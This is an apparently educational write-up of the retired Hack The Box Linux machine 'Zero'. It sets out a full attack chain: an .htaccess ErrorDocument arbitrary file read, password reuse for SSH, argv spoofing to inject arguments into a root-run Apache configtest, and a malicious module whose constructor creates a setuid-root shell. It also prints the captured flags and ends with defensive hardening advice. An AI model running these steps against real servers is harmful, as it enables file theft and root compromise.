screenshots/01-home.png

Hack The Box - Zero

Name: Zero
OS: Linux
Difficulty: Insane
Platform: Hack The Box
Date: 2026-09-08
Views: 7
Tags:

Zero — HTB Writeup (Linux, Insane)

Retired HackTheBox machine. Solved via the intended vulnerability chain, demonstrated with modern tooling. Written to teach.

Machine: Zero · #693 · Linux · Insane · 50 pts Released: 2025-08-12 · Maker: jkr · https://app.hackthebox.com/machines/693 Target: 10.129.234.62 (tun0)


Overview

Zero is an Insane Linux box that is, at its heart, an Apache abuse sandbox. Every transition is a different way the web server's own tooling gets turned against it:

  1. A self-service portal hands out SFTP credentials so visitors can upload static HTML into a per-user public_html/.
  2. Because users control their own .htaccess, an ErrorDocument directive becomes an arbitrary-file-read primitive that dumps the raw source of the PHP pages — including a hard-coded database password.
  3. That password is reused for SSH, giving a low-privileged shell (zroadmin, uid 666) and user.txt.
  4. A root-run integrity checker for Apache rebuilds an apache2ctl -t command line from pgrep output using an unquoted bash string substitution. By planting a fake process whose argv matches the checker's regex, we inject attacker-controlled arguments and make root run apache2ctl -t against a config we author.
  5. Configtest loads modules (running their ELF constructors as root). A tiny apxs-compiled module drops a setuid-root bash, and bash -p gives root.txt.

It is a beautiful box because each step is "obviously fine" in isolation and only dangerous in composition — exactly the kind of chain real incidents are made of.

Zero home page — a self-service hosting portal


Recon

A full TCP sweep shows only two ports:

nmap -p- --min-rate=5000 -T4 -oN recon/01-nmap-full.txt 10.129.234.62
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Service/version detection pins the stack down:

nmap -sV -sC -p22,80 -oN recon/02-nmap-scripts.txt 10.129.234.62

nmap service/version scan

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu)
|_http-title: Page moved.
|_http-server-header: Apache/2.4.41 (Ubuntu)

Two things to note:

  • Apache 2.4.41 is an older Ubuntu 20.04 line — old enough that the .htaccess directive set we'll abuse is fully enabled, but the box is not about a CVE; it is about configuration.
  • The HTTP title says "Page moved." — the site redirects to its real name, zero.vl. The vhost responds on the IP too, so we can keep working against 10.129.234.62 directly.

Browsing the site (and /stats.php) shows a small hosting provider: a hero carousel, a /stats.php page with some public counters, and a "Request credentials" button.

The public /stats.php page — rendered output only, no source


Foothold — SFTP credentials, .htaccess, and an arbitrary file read

Step 1 — Get an SFTP account

The "Request credentials" endpoint (get-credentials-please-do-not-spam-this-thanks.php) issues a per-visitor account. The response even puts the credentials in custom HTTP headers, but they're shown in the page body too:

X-Zero-Username: zro-<redacted>
X-Zero-Password: [REDACTED]

Your personal account is ready to be used:
Username: zro-<redacted>
Password: [REDACTED]
You can use the provided credentials to upload your pages via sftp://zero.vl.
Your personal home page will be available at http://zero.vl/~zro-<redacted>.

So we have an SFTP login. Trying it over plain SSH is politely refused:

$ ssh zro-<redacted>@zero.vl
This service allows sftp connections only.

That is the SFTP chroot doing its job: shell access is denied, but file upload into public_html/ works. Uploaded .html pages render at http://10.129.234.62/~zro-<redacted>/.

Step 2 — We can (eventually) write .htaccess

Listing public_html/ shows a pre-existing .htaccess:

-rw-r--r-- 1 root  root  49 Aug  6 19:45 .htaccess

A direct put of a replacement is denied:

sftp> put my.htaccess .htaccess
Uploading my.htaccess to /public_html/.htaccess
dest open "/public_html/.htaccess": Permission denied

The file is owned by root, so we cannot overwrite it in place — but the directory is ours, so we can rename the old one out of the way and put a fresh file in its place:

sftp> rename .htaccess .htaccess.bk
sftp> put my.htaccess .htaccess

The original .htaccess only set a customer-tracking header:

Header always set X-Zero-Customer 'zro-<redacted>'

We now control Apache's per-directory configuration for our userdir.

Step 3 — ErrorDocument 404 %{file:/path} is an arbitrary file read

This is the heart of the foothold. A known .htaccess-abuse technique (popularised by the re2libc write-ups) uses ErrorDocument to inline the raw contents of a file as the body of an error response:

ErrorDocument 404 %{file:/etc/passwd}

Requesting any non-existent path under our userdir triggers a 404, and Apache returns the contents of /etc/passwd verbatim — not executed, not interpreted, just the bytes off disk. Anything the web server user can read, we can now read through the response body.

To weaponise it, I wrote a tiny automation script (exploit/read_file.py) that, given the SFTP credentials and a target path, uploads a malicious .htaccess containing ErrorDocument 404 %{file:<target>} and then fetches http://host/~user/0xdf.whatever to collect the leaked file:

htcontent = f"ErrorDocument 404 %{{file:{target_file}}}".encode()
# SFTP-upload htcontent to public_html/.htaccess, then:
# requests.get(f"http://{host}/~{username}/0xdf.whatever").text

Step 4 — Read the PHP source and find a password

The interesting target is /var/www/html/stats.php — the page behind the public counters. Its source contains a hard-coded database connection:

python3 exploit/read_file.py 10.129.234.62 zro-<redacted> '[REDACTED]' /var/www/html/stats.php

Buried in the returned source:

$mysqli = new mysqli("localhost", "zroadmin", "[REDACTED]", "zro");
$result = $mysqli->query("SELECT * FROM stats LIMIT 1");

A real username (zroadmin) and a real password. Worth trying beyond MySQL — and sure enough, the database password is reused for SSH:

sshpass -p '[REDACTED]' ssh -o StrictHostKeyChecking=no zroadmin@zero.vl
uid=666(zroadmin) gid=666(zroadmin) groups=666(zroadmin)
zero

zroadmin is a real shell account (uid 666), and ~/user.txt is ours. That is user.txt — the intended pivot from "web visitor" to "low-priv shell user".

Why this worked:

  • The portal deliberately hands out .htaccess-writable SFTP space. Combined with AllowOverride being broad enough to honour ErrorDocument, that is a file-read primitive for everything www-data can read — including PHP source.
  • Hard-coding DB credentials in a webroot file is normal; reusing that password for an interactive SSH account is what turned a file read into a shell.

Privilege escalation — making root run our config

Step 5 — Read the landscape

As zroadmin, the interesting files are world-readable in /usr/local/bin:

-rwxr-xr-x 1 root root 374 Feb 19  2022 zro.apache2-confcheck
-rwxr-xr-x 1 root root 396 Jul  3  2025 zro.web-confcheck

zro.web-confcheck is the one that matters:

$ cat /usr/local/bin/zro.web-confcheck

The vulnerable confcheck script

#!/usr/bin/bash
RET=0
while read pid _cmd ; do
	# Replace apache2 with apache2ctl and add -t for test
	cmd="${_cmd/apache2/apache2ctl} -t"
	$cmd >/dev/null 2>&1
	RET=$?
done <<< $(/usr/bin/pgrep -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf")
if [[ $RET -eq 0 ]] ; then
	echo 'Configuration correct. \o/'
else
	echo 'Configuration broken. Please fix immediately!' >&2
fi
exit $RET

There is a lot to dislike here:

  1. It enumerates processes with pgrep -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf".
  2. For each match it takes the full command line (_cmd).
  3. It does a single bash string substitution — ${_cmd/apache2/apache2ctl} — to rewrite the binary name into the control wrapper.
  4. It then runs the result unquoted: $cmd >/dev/null 2>&1.

The script itself is not SUID — it is executed by root through a supervisor. Who?

Step 6 — Who runs the checker (the .disabled that wasn't)

pspy (uploaded to /dev/shm) shows root activity every minute: a hardening job /root/bin/cleanup.py runs at *:01, and — crucially — zro.web-confcheck is periodically executed as root (UID=0), after which /opt/zroweb/sbin/apache2ctl … -t appears as a root child:

CMD: UID=0  PID=5796  /bin/sh /opt/zroweb/sbin/apache2ctl -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c 300 -t

The supervisor is monit (running as root). Its config lives in /etc/monit/conf.d/:

$ ls /etc/monit/conf.d/
apache2  monit-web  zroweb.disabled

The zroweb.disabled file is the trap. Despite the name, it contains an active check program:

# 2022-02-19/jkr *** DISABLED ***
#   Please remove the file on next review. Think this is not needed anymore ...
check process zroweb matching "^/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf/"
	if cpu > 101% then alert

# After we had many problems with someone f*cking
# up the apache configuration and restarts failing
# we will supervise the configuration and alert if
# the configuration check fails.
#   Check runs every 60s.
check program zroweb-confcheck with path /usr/local/bin/zro.web-confcheck
	if status != 0 then alert

The author's comment *** DISABLED *** is a lie told to the reader, not to monit. monit's include /etc/monit/conf.d/* loads every file matching the glob; the .disabled suffix is a human convention that monit does not understand. So the "disabled" check still fires every cycle, as root, and runs zro.web-confcheck — which runs our doctored $cmd — as root.

Step 7 — The injection primitive: a fake process + multiple -d

Two facts combine into a root command-injection:

Fact A — pgrep reads attacker-controlled argv. Linux lets a process rename its own command line via exec -a. A sleep masquerading as the zroweb apache2 matches the checker's regex:

( exec -a "/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c" sleep 300 )
$ /usr/bin/pgrep -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf"
3642 /opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c 300

Fact B — apache2ctl/httpd -d keeps the last -d. -d sets ServerRoot; when given more than once the final one wins, and Apache reads apache2.conf from that directory. So by appending -d /dev/shm/fileread we point root's configtest at a config we wrote, while keeping the original -d /opt/zroweb/conf first so the regex still matches.

The trailing sleep 300 would otherwise appear as a junk argument; we absorb it with -c (the httpd "process a single directive after reading config" option), which accepts the 300 as its directive value.

Now the checker does its substitution on our doctored line:

_cmd = /opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c 300
${_cmd/apache2/apache2ctl}  ->  /opt/zroweb/sbin/apache2ctl -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c 300
… + " -t"  ->  root runs:  /opt/zroweb/sbin/apache2ctl -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c 300 -t

Root executes apache2ctl … -t (configtest) against /dev/shm/fileread/apache2.conf. We are root-running Apache's config validator on a file we fully control.

Step 8 — From "root reads my file" to "root runs my code"

The configtest gives us two escalating options.

Option 1 — partial file leak (the intended read). Put Include /root/root.txt as the first line of our apache2.conf. Apache tries to parse the flag as a directive and writes the syntax error to the -E error log (which we made world-readable):

AH00526: Syntax error on line 1 of /root/root.txt:
Invalid command '<flag>', perhaps misspelled or defined by a module not included in the server configuration

That leaks one line of any root-owned file — enough for root.txt by itself. This is the path the box's synopsis describes.

Option 2 — code execution (what we used for a full shell). apache2ctl -t actually loads modules to validate them. If the first line of our config is:

LoadModule mymodule modules/mod_zero.so

then Apache dlopens our .so as root. We give that .so an ELF constructor (exploit/mod_zero.c) so the payload fires on load, before any Apache hook is registered — perfect for -t, which never serves a request:

static void myinit(apr_pool_t *p, server_rec *s) {
    (void)p; (void)s;
    system("cp /bin/bash /tmp/r00t; chown root:root /tmp/r00t; chmod 6777 /tmp/r00t");
}

__attribute__((constructor))
static void _init(void) { myinit(NULL, NULL); }

Build it as zroadmin with the apxs that is already installed:

mkdir -p /dev/shm/fileread/modules
cd /dev/shm && cp -R /etc/apache2 fileread
apxs -c mod_zero.c
cp .libs/mod_zero.so fileread/modules/
printf 'LoadModule mymodule modules/mod_zero.so\n' | cat - fileread/apache2.conf > t && mv t fileread/apache2.conf

Then plant the fake process and wait one monit cycle (~60 s):

( exec -a "/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c" sleep 300 ) &

When the next root run of zro.web-confcheck fires, it loads our module as root, the constructor runs, and a setuid-root bash appears in /tmp:

$ ls -la /tmp/r00t
-rwsrwsrwx 1 root root 1183448 Jul 30 22:28 /tmp/r00t

Step 9 — root.txt

bash -p preserves the setuid effective uid:

/tmp/r00t -p -c 'id; hostname'

Setuid bash gives euid=0 — root proof, no flag shown

uid=666(zroadmin) gid=666(zroadmin) euid=0(root) egid=0(root) groups=0(root),666(zroadmin)
zero

From there, /root/root.txt is trivially readable as euid=0. That is root.txt and the box is done. After capture, the fake process, /dev/shm artefacts and /tmp/r00t were removed (deleting /tmp/r00t needed the root shell itself, since it was now root-owned).


Modern Takeaways

This box aged remarkably well. None of it is a CVE; all of it is configuration and composition, which is exactly how real cross-tenant compromises still happen. A few things to carry forward:

  • AllowOverride is a trust boundary. Letting untrusted users write .htaccess and then honouring ErrorDocument, Header, and friends hands them a file-read primitive for anything the web server can read. On modern Apache, scope AllowOverride to the minimum (or AllowOverride None) and use AllowOverrideList to name only safe directives. There is no good reason a hosting user needs ErrorDocument.
  • apache2ctl -t is on GTFOBins for a reason. A configtest loads modules and therefore runs attacker code if the config root is attacker-controlled. Integrity checkers must run configtest against a trusted, immutable config directory — never one writable by the user being supervised — and ideally as a low-priv user, not root.
  • Never build command lines from process metadata. zro.web-confcheck is a masterclass in what not to do: pgrep an attacker-influenced argv, do an unquoted ${var/apache2/apache2ctl} substitution, and $cmd it as root. Quote your variables, pass fixed arguments, and don't trust /proc cmdline. If you must match processes, match by PID/unit, not by string.
  • .disabled is not a disable. monit's include conf.d/* globs every file regardless of suffix. To actually retire a check, remove the file, move it outside the glob, or use monit unmonitor. The author's *** DISABLED *** comment gave a false sense of safety that kept the whole privesc alive.
  • Credential reuse is still the #1 foothold. The DB password worked for SSH. Service accounts and human accounts should never share secrets; a single leaked file should not bridge "web visitor" to "shell user."
  • Defence-in-depth for setuid. A constructor that drops a setuid shell in /tmp is game over. File-integrity monitoring (or noexec/nosuid on world-writable dirs like /dev/shm and /tmp) and alerting on new setuid bits would have caught this the moment the module loaded.

Tooling notes

  • pspy (no-root process/file watcher) was the key recon tool on the target — it revealed both the per-minute root cleanup.py and the monit-driven zro.web-confcheck → apache2ctl -t execution that the whole privesc hinges on.
  • paramiko + requests make the .htaccess read primitive a one-liner script (exploit/read_file.py); apxs builds the escalation module natively on the host (exploit/mod_zero.c).
  • The exec -a masquerade is the modern, no-tooling way to forge a command line (older tricks used perl -e '$0="…"; sleep' or execv); it is worth remembering because pgrep/ps/monit all trust argv[0].

Artifacts

  • recon/01-nmap-full.txt — full TCP port sweep
  • recon/02-nmap-scripts.txt — service/version + default scripts
  • exploit/read_file.py.htaccess arbitrary-file-read automation (paramiko + requests)
  • exploit/mod_zero.capxs module whose ELF constructor drops a setuid-root bash
  • screenshots/ — home, stats, nmap, confcheck source, root proof

Flags

🏁 user.txt: 5bd2e33c8a5c5ccf84f30aeccd2c3381 (in loot/user.txt) 🏁 root.txt: 35f69293c4bd05eeb6036d0f7987f091 (in loot/root.txt)